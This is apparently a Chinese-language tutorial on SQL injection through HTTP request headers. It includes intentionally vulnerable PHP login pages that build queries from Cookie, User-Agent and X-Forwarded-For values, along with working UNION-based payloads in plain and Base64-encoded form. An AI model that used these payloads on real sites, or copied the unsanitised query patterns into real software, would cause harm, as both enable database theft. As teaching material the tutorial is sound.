關於請求頭中注入問題的演示,這里我寫了一些測試案例,用來測試請求頭中存在的問題。我們常見的會發生注入的點有 Referer、X-Forwarded-For、Cookie、X-Real-IP、Accept-Language、Authorization,User-Agent
HTTP Referer:是header的一部分,當瀏覽器請求網頁時,會自動攜帶一個請求來源,如果后端存在交互,則會引發注入問題的產生。
User-Agent 請求頭,該請求頭攜帶的是用戶瀏覽器的標識信息,如果此時帶入數據庫查詢,則同樣會觸發注入問題的產生。
X-Forwarded-For:簡稱XFF頭,它代表客戶端,用於記錄代理信息的,每經過一級代理(匿名代理除外),代理服務器都會把這次請求的來源IP追加在X-Forwarded-For中
Cookie:指某些網站為了辨別用戶身份、進行 session 跟蹤而儲存在用戶本地終端上的數據(通常經過加密)
X-Real-IP:只記錄真實發出請求的客戶端IP。
Accept-Language:請求頭允許客戶端聲明它可以理解的自然語言,以及優先選擇的區域方言
HTTP_CLIENT_IP:該屬性是PHP內置屬性,同樣取得的是客戶端的IP,同樣可控,如果帶入數據庫,則會產生注入問題。
Cookie 注入: 該注入的產生原因是因為程序員沒有將COOKIE進行合法化檢測,並將其代入到了數據庫中查詢了且查詢變量是可控的,當用戶登錄成功后會產生COOKIE,每次頁面刷新后端都會拿着這個COOKIE帶入數據庫查找,這是非常危險的.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf8">
</head>
<body>
<form action="" method="post">
賬號: <input type="text" name="uname" value=""/><br>
密碼: <input type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="Submit" />
</form>
<?php
header("Content-type: text/html;charset=utf8");
error_reporting(0);
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
$cookee = $_COOKIE['uname'];
if($cookee)
{
$sql="SELECT username,password FROM local_user WHERE username='$cookee' LIMIT 0,1";
$query = mysqli_query($connect,$sql);
echo "執行SQL: " . $sql . "<br>";
if($query)
{
$row = mysqli_fetch_array($query);
if($row)
{
echo "<br> COOKIE 已登錄 <br>";
echo "您的賬號: " . $row['username'] . "<br>";
echo "您的密碼: " . $row['password'] . "<br>";
}
}
}
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$passwd = md5($passwd);
$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$query = mysqli_query($connect,$sql);
if($query)
{
$row = mysqli_fetch_array($query);
$cookee = $row['username'];
if($row)
{
setcookie('uname', $cookee, time() + 3600);
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "COOKIE已設置: " . date($format, $timestamp);
}
}
}
}
?>
</body>
</html>
當登錄成功后,再次刷新頁面,就會將cookie帶入數據中查詢,此時觀察cookie,可以閉合,則就會產生注入問題。
執行payload Cookie: uname=admin' and 0 union select database(),2--+
可爆出數據庫名稱。
查詢數據庫同樣可以爆出,數據庫的版本號。
稍微修改一下代碼,當代碼中設置COOKIE的位置上增加了Base64編碼后,該如何注入呢?
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf8">
</head>
<body>
<form action="" method="post">
賬號: <input type="text" name="uname" value=""/><br>
密碼: <input type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="Submit" />
</form>
<?php
header("Content-type: text/html;charset=utf8");
error_reporting(0);
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
$cookee = base64_decode($_COOKIE['uname']);
if($cookee)
{
$sql="SELECT username,password FROM local_user WHERE username='$cookee' LIMIT 0,1";
$query = mysqli_query($connect,$sql);
echo "執行SQL: " . $sql . "<br>";
if($query)
{
$row = mysqli_fetch_array($query);
if($row)
{
echo "<br> COOKIE 已登錄 <br>";
echo "您的賬號: " . $row['username'] . "<br>";
echo "您的密碼: " . $row['password'] . "<br>";
}
}
}
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$passwd = md5($passwd);
$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$query = mysqli_query($connect,$sql);
if($query)
{
$row = mysqli_fetch_array($query);
$cookee = $row['username'];
if($row)
{
setcookie('uname', base64_encode($cookee), time() + 3600);
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "COOKIE已設置: " . date($format, $timestamp);
}
}
}
}
?>
</body>
</html>
直接將Payload加密在線https://base64.us/
加密后,放入COOKIE中
Cookie: uname=admin' and 0 union select database(),2--+
Cookie: uname=YWRtaW4nIGFuZCAwIHVuaW9uIHNlbGVjdCBkYXRhYmFzZSgpLDItLSs=
Usage-Agent 注入問題: Usagen-Agent是客戶請求時攜帶的請求頭,該頭部是客戶端可控,如果有帶入數據庫的相關操作,則可能會產生SQL注入問題.
create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf8">
<title>SQL 注入測試代碼</title>
</head>
<body>
<form action="" method="post">
賬號: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>
密碼: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="Submit" />
</form>
<?php
header("Content-type: text/html;charset=utf8");
error_reporting(0);
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$passwd = md5($passwd);
$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$query = mysqli_query($connect,$sql);
if($query)
{
$row = mysqli_fetch_array($query);
if($row)
{
// 獲取到用戶的Agent客戶請求體
$Uagent = $_SERVER['HTTP_USER_AGENT'];
// REMOTE_ADDR 是調用的底層的會話ip地址,理論上是不可以偽造的
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>歡迎用戶: {$row['username']} 密碼: {$row['password']} <br><br>";
echo "您的IP地址是: {$IP} <br>";
$insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values('$uname','$IP','$Uagent')";
mysqli_query($connect,$insert_sql);
echo "User_Agent請求頭: {$Uagent} <br>";
}
}
}
}
?>
</body>
</html>
登錄成功后,才可以顯示你的客戶端數據,也就是先要完成登錄。
登錄成功后,會自動獲取客戶端的user_agent信息,HTTP_USER_AGENT 屬性對我們來說可控,且通過insert語句帶入到了數據庫,此時我們可以構建注入語句。首先我們通過burp提交登錄請求。
然后再登陸成功后,我們繼續增加注入語句,將其寫道user-agent上完成報錯注入。
修改agent驗證,可被繞過,此處的語句帶入數據庫變為了insert into User_Agent values('1)','u_addr','u_agent')
有時,不存在回顯的地方即使存在注入也無法得到結果.,但卻是一個安全隱患,需要引起重視.
IP來路引發的注入問題: 這里我又寫了一段代碼,看似沒有任何注入問題,原因是目標主機IP地址是可控的。
<?php
function GetIP(){
static $retIP;
if(isset($_SERVER)){
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$retIP = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else if(isset($_SERVER['HTTP_CLIENT_IP'])){
$retIP = $_SERVER['HTTP_CLIENT_IP'];
}else{
$retIP = $_SERVER['REMOTE_ADDR'];
}
}
return $retIP;
}
$connect = mysqli_connect("127.0.0.1","root","123","lyshark");
if($connect)
{
$addr = GetIP();
$sql = "select * from ip where address='$addr' limit 0,1";
$query = mysqli_query($connect,$sql);
$row = mysqli_fetch_array($query);
echo '本機IP:' . $row['address'];
if ($row['address'] == $addr)
{
echo "注冊過了..";
}
}
?>
<?php echo '<hr><b> 后端執行SQL語句: </b>' . $sql;?>